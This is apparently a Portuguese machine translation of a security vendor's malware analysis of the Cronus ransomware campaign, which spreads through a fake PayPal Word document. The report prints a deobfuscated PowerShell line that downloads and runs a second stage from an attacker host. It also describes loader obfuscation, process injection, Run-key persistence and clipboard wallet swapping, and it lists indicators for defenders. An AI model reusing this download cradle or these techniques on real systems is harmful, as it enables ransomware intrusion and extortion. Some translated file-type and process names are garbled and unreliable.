Seqrite A Labs APT-Team descobriu recentemente várias campanhas envolvendo iscas falsas do PayPal. Essas campanhas têm como alvo indivíduos em todo o mundo com uma nova variante de ransomware conhecida como Cronus. Nesse caso, o malware é desenvolvido em PowerShell e executado diretamente na memória, sem gravar nenhum conteúdo malicioso no disco.
Este blog irá explorar a sofisticação e os detalhes técnicos da campanha que encontramos durante nossa análise de telemetria. Examinaremos os vários estágios desta campanha, começando com a carga útil inicial do documento. Em seguida, extrairemos e analisaremos o script VBA malicioso e, finalmente, revisaremos a carga útil do PowerShell que executa o ransomware usando carregamento reflexivo de DLL.
Descobertas iniciais
Em 14 de julho de 2024, nossa equipe descobriu um documento malicioso no VirusTotal , de acordo com as regras de busca que utilizamos para arquivos que contêm macros VBA maliciosas incorporadas.
Após a análise inicial, descobrimos que a isca maliciosa visava imitar um simples documento de recibo conhecido como paypal_charges.doc. Em seguida, ao extrair as macros maliciosas dos fluxos maliciosos, descobrimos que o VBA malicioso estava baixando o segundo estágio do carregador baseado em PowerShell, conhecido como 8eef4df388f2217caec3dc26.ps1 , que carregava a DLL do ransomware usando a técnica de carregamento reflexivo.
Grupos de ransomware, como NETWALKER e muitos outros, já usaram essa técnica para implantar ransomware.
Cadeia de infecção

Análise Técnica
Dividiremos a análise em três partes diferentes.
Infecção Inicial – Documento Malicioso
Observamos inicialmente que a infecção inicial foi causada por um documento malicioso do Word, que se espalhou principalmente por meio de um vetor de phishing. Portanto, decidimos nos aprofundar no conteúdo da isca antes de nos aprofundarmos nos fluxos maliciosos de macros.

O arquivo do documento demonstrava a maturidade do agente da ameaça, visto que a isca era apenas um documento do Word em branco. Portanto, decidimos nos aprofundar nos fluxos malignos desse documento malicioso e extraí-lo rapidamente para análise posterior.


Ao descobrir como as macros incorporadas funcionam, descobrimos que elas são bastante ofuscadas com comentários e nomes de variáveis inúteis, tornando a análise mais desafiadora. Então, decidimos desofuscar a macro VBA, que se parece com isso.

//Comando Base64 decodificado.
IEX (New-Object Net.WebClient).DownloadString(‘hxxps[:]//eternal[.]lol/file/8e53a3e023218a9b1ef9ba1ef3b5afd191a99156b77864558d/8eef4df388f2217caec3dc26[.]jpg’);
Ficou claro que a macro usava powershell.exe para executar uma string codificada em Base64 como argumento. A decodificação do conteúdo revelou que ela estava tentando baixar o payload de segundo estágio de um servidor.
Segundo Estágio – Carregador Malicioso do PowerShell
Vimos que a extensão do arquivo é .JPEG, enquanto o tipo de arquivo é um arquivo do PowerShell. Então, decidimos rapidamente usar o carregador malicioso do PowerShell.

Como esperado, o segundo estágio está bastante ofuscado com código lixo, o que dificulta a análise. Por isso, decidimos desofuscar manualmente o script do PowerShell, removendo o código lixo e observando o padrão de uso do código lixo, o que dificulta a análise dos analistas.
O script é ofuscado usando três camadas de código lixo, que contém um conjunto de sequências como esta:
se ($a.ProcessName -como “junkcodesequenceone”){
...código lixo aqui...
...código lixo aqui...
...código lixo aqui...
}
se ($a.ProcessName -como “junkcodesequencetwo”){
...código lixo aqui...
...código lixo aqui...
...código lixo aqui...
}
..Script Powershell real…
se ($a.ProcessName -como “junkcodesequencethree”){
...código lixo aqui...
...código lixo aqui...
...código lixo aqui...
}


Ao analisarmos o código PowerShell propriamente dito, vemos que o arquivo inclui arrays de dois bytes contendo assemblies .NET, que são posteriormente compactados na memória usando carregamento reflexivo. O estágio final consiste nos assemblies .NET maliciosos que contêm o ransomware.

Estágio Final – Montagem .NET Maliciosa
Vamos examinar os assemblies .NET maliciosos que extraímos na segunda etapa. Após a extração, carregamos as DLLs na ferramenta Detect-It-Easy (DIE) para identificar os arquivos de assembly .NET que haviam sido compactados ou protegidos.


Descobrimos que o primeiro assembly .NET estava protegido usando o .NET Reactor, então decidimos descompactá -lo e explorar os arquivos do assembly mais detalhadamente usando a ferramenta dnSpy para obter uma visão geral do código.

Após descompactar o primeiro arquivo DLL, TEStxx.dll, descobrimos que o assembly carregado é responsável por realizar a injeção de processo. Neste caso, ele injeta o segundo executável, RegSvcs.exe, na memória de um processo. Portanto, vamos agora investigar o segundo executável .NET malicioso.

Ao analisarmos o método Main deste executável final, podemos observar que o código realiza diversas tarefas relacionadas ao comportamento típico de ransomware, como alterar o papel de parede, enumerar e criptografar arquivos específicos e encerrar processos em execução.

Além disso, podemos observar métodos como TRIPLE_ENCRYPT , FULL_ENCRYPT , RECURSIVE_DIRECTORY_LOOK , EXCEPTIONAL_FILE e muitos outros interessantes. Portanto, vamos investigar algumas funcionalidades interessantes deste ransomware.
Autocópia
O binário do ransomware copia-se para o caminho C:\Users\<Nome de usuário>\AppData\Local e, caso o binário já exista ou tenha sido copiado, ele se exclui. Após copiar o arquivo para o local correto, o processo é iniciado.

Enumeração
O ransomware realiza a enumeração, inicialmente enumerando as unidades de disco locais e, em seguida, os arquivos presentes nessas unidades. Ele também verifica pastas específicas no diretório \System\ e as exclui. Depois disso, cria uma nova tarefa para pesquisa recursiva de diretórios.

Ele tem como alvo certos tipos de arquivos para criptografia, que são mostrados abaixo:
| .myd | .ndf | .qry | .sdb | .sdf | .tmd | . Tgz |
| .lzo | .txt | .jar | .dat | .contato | .definições | .doc |
| . Docx | . Xls | . Xlsx | . Ppt | . Pptx | .odt | . Jpg |
| .mka | .mhtml | .oqy | . Png | . Csv | .py | .sql |
| .indd | .cs | .mp3 | .mp4 | .dwg | .zip | . Raramente |
| . Mov | . Rtf | .bmp | . Mkv | . Avi | .apk | .lnk |
| .dib | .dic | .diff | .mdb | . Php | asp | aspx |
| .html | Htm. | .xml | .psd | .xla | .filhote | |
| .dae | .divx | .iso | .7zip | .pdb | . Ico | .passar |
| .db | .wmv | .swf | .cer | bak | .cópia de segurança | .accdb |
| .baía | .p7c | .exif | .vss | .cru | . M4a | . Wma |
| .ace | .arj | . Bz2 | . Táxi | .gzip | .lzh | .alcatrão |
| . Jpeg | .xz | . Mpeg | .torrente | . Mpg | .core | .flv |
| .sim | .soma | .ibank | .carteira | . Css | . Js | .rb |
| .crt | .xlsm | .xlsb | . 7z | .cpp | .Java | .jpe |
| . Inicial | .bolha | .wps | .docm | . Wav | .3gp | . Gif |
| .log | .gz | .config | .vb | .m1v | .sln | PST |
| obj | .xlam | .djvu | .inc | .cvs | .dbf | .tbi |
| .wpd | .ponto | .dotx | .webm | .m4v | .amv | .m4p |
| .svg | .ods | .bk | .vdi | .vmdk | .onepkg | .acessar |
| .jsp | json | .xltx | .vsdx | .uxdc | .udl | .3ds |
| .3fr | .3g2 | .accda | .accdc | .accdw | .adp | .ai |
| .ai3 | .ai4 | .ai5 | .ai6 | .ai7 | .ai8 | .arw |
| .ascx | .asm | .asmx | .avs | .bin | .cfm | .dbx |
| .dcm | .dcr | .imagem | .rgbe | .dwt | .f4v | .exr |
| .kwm | .max | .mda | .mde | .mdf | .mdw | .mht |
| .mpv | .msg | .myi | .nef | .odc | .geo | .rápido |
| .odm | .odp | .oft | .orf | .pfx | .p12 | .pl |
| .por favor | .seguro | .aba | .vbs | .xlk | .xlm | .xlt |
| .xltm | .svgz | .slk | .tar.gz | .dmg | .ps | .psb |
| .tif | .rss | .key | .vob | .epsp | .dc3 | .iff |
| .optar | .onetoc2 | .nrw | .pptm | .potx | .potm | .Panela |
| .xlw | .xps | .xsd | .xsf | .xsl | .kmz | .accdr |
| .stm | .accdt | .ppam | .pps | .ppsm | .1cd | .p7b |
| .wdb | .sqlite | .sqlite3 | .dacpac | .zipx | .lzma | .z |
| .tar.xz | .pam | .r3d | .isto | , 1c | .dt | .c |
| .vmx | .xhtml | .ckp | .db3 | .dbc | .dbs | .dbt |
| .dbv | .frm | .mwb | .mrg | .txz | .vbox | .wmf |
| . Wim | .xtp2 | .xsn | .xslt |
Criptografia
O binário do ransomware usa dois tipos diferentes de métodos de criptografia, dependendo do tamanho do arquivo. Para arquivos com menos de 512 KB, o método FULL_ENCRYPT criptografa os arquivos de uma só vez. Para arquivos maiores que 512 KB, o método TRIPLE_ENCRYPT divide o conteúdo do arquivo em partes diferentes e as criptografa. Ambos os métodos usam o método AES de criptografia para criptografar os arquivos.

Um pequeno arquivo EXCEPTIONAL_FILE é adicionado, excluindo e criptografando os arquivos mencionados acima. Durante a criptografia, o ransomware também instala uma nota com o nome cronus.txt.

Término do Processo
O binário do ransomware encerra muitos processos, encerrando a janela principal após enumerar todos os processos em execução. A lista de processos encerrados por ele é a seguinte:
| sqlwriter | sqbcoreservice | VirtualBoxVM | sqlagent | navegador sql | sqlservr | código |
| vapor | zoolz | agntsvc | configuração do firefox | infopath | tempo de sincronização | VBoxSVC |
| configuração do tbird | o morcego | thebat64 | isqlplussvc | meu serviço de desktop | mysqld | ocssd |
| OneNote | mspub | mydesktopqos | CNTAoSMgr | Ntrtscan | vmplayer | oráculo |
| perspectiva | Powerpnt | WPS | xfssvccon | ProcessHacker | dbeng50 | dbsnmp |
| encsvc | a sobressair | tmlisten | PccNTMon | mysqld-nt | mysqld-opt | ocautoupds |
| ocomm | MSAccess | msftesql | petrel | visio | WinWord | wordpad |
| bandeja de banho |
Após concluir com sucesso todos os processos acima, o programa chama novamente o método ALL_DRIVES , que enumera e criptografa arquivos específicos.
Persistência
O binário do ransomware abusa das conhecidas RunKeys para persistência, adicionando uma nova chave chamada cronus à chave de registro acima, que executa o binário RegSvcs.exe na inicialização.

Manipulação de dados
O ransomware enumera o conteúdo da área de transferência. Se encontrar algum endereço de bitcoin na área de transferência, ele o substitui pelo endereço da carteira de BTC do invasor, que é usado para extrair o valor do resgate.



O bilhete de resgate destaca um endereço de carteira BTC que , após investigação, revela -se vazio.

Sobreposição de código
Ao pesquisar e analisar outro corpus de amostras de malware, podemos concluir que o código presente no carregador do PowerShell, o injetor de DLL usado nesta campanha, se sobrepõe a outras campanhas ativas de malware sem arquivo, como a seguir:
- RAT de vingança
- Rato de flecha
- RAT assíncrono
- Rato de Andrômeda
- XWorm
- njRAT
Conclusão
Descobrimos que o Cronus Ransomware, uma variante de malware sem arquivo, é muito novo e está se espalhando ativamente. O modus operandi acima é atualmente o principal usado para instalar o ransomware em diversas máquinas-alvo.
Seqrite pós-colheita
- SCRIPT.Cronus.48939.GC
- OLE.Cronus.48940.GC
- Resgate.Cronus
- Trojan.Injetor
IOCs
| Hashes[SHA-256] | Nome do arquivo |
| 69b6bc4db69680118781e7a9f2580738088930fa04884755f23904fa19e638e3 | paypal_charges.doc |
| 9ebf60ad31f0eb1fa303e0b00f9cc605c5013ea30771e6b14409cb70af7416cb | paypal_charges.doc |
| afb95b1b2092020ed98312602c300f51daca14bb3d65503df3c5ca4776027987 | ~WRL003.tmp |
| 629587e592130b86418d17d6b8cc52b6f378f39f1b5e8caa4038cfa7120b2a53 | 8eef4df388f2217caec3dc26.ps1
|
| dd78c6dc62463aba24cdbea3968cbcc1c7b97a736ef069d99d6512b10c5e91f3 | TEStxx.dll |
| 42551531be1c5abfdd24a3465788c659a038141de61976787b0862664df95aad | p000.exe
|
| URLs |
| hxxps://eternal[.]lol/arquivo/ |
MITER ATT & CK
| Tática | ID da técnica | Nome |
| Acesso Inicial | T1566.001 | Phishing: Anexo de spear phishing |
| Execução | T1204.002
T1059.001 T1059.005 |
Execução do usuário: arquivo malicioso
Interpretador de comandos e scripts: PowerShell Interpretador de comandos e scripts: Visual Basic |
| Persistência | T1547.001 | Chaves de execução do Registro / Pasta de inicialização |
| Evasão de Defesa | T1027.010 T1620 T1055.012 |
Ofuscação de Comando Carregamento de código reflexivo Processo de esvaziamento |
| Discovery | T1057 T1083 |
Descoberta de Processo Descoberta de arquivos e diretórios |
| Impacto | T1486 T1491.001 T1565.002 |
Dados criptografados para impacto. Desfiguração: Desfiguração interna Manipulação de Dados: Manipulação de Dados Transmitidos |
Contribuintes
- Subhajeet Singha
- Sathwik Ram Prakki



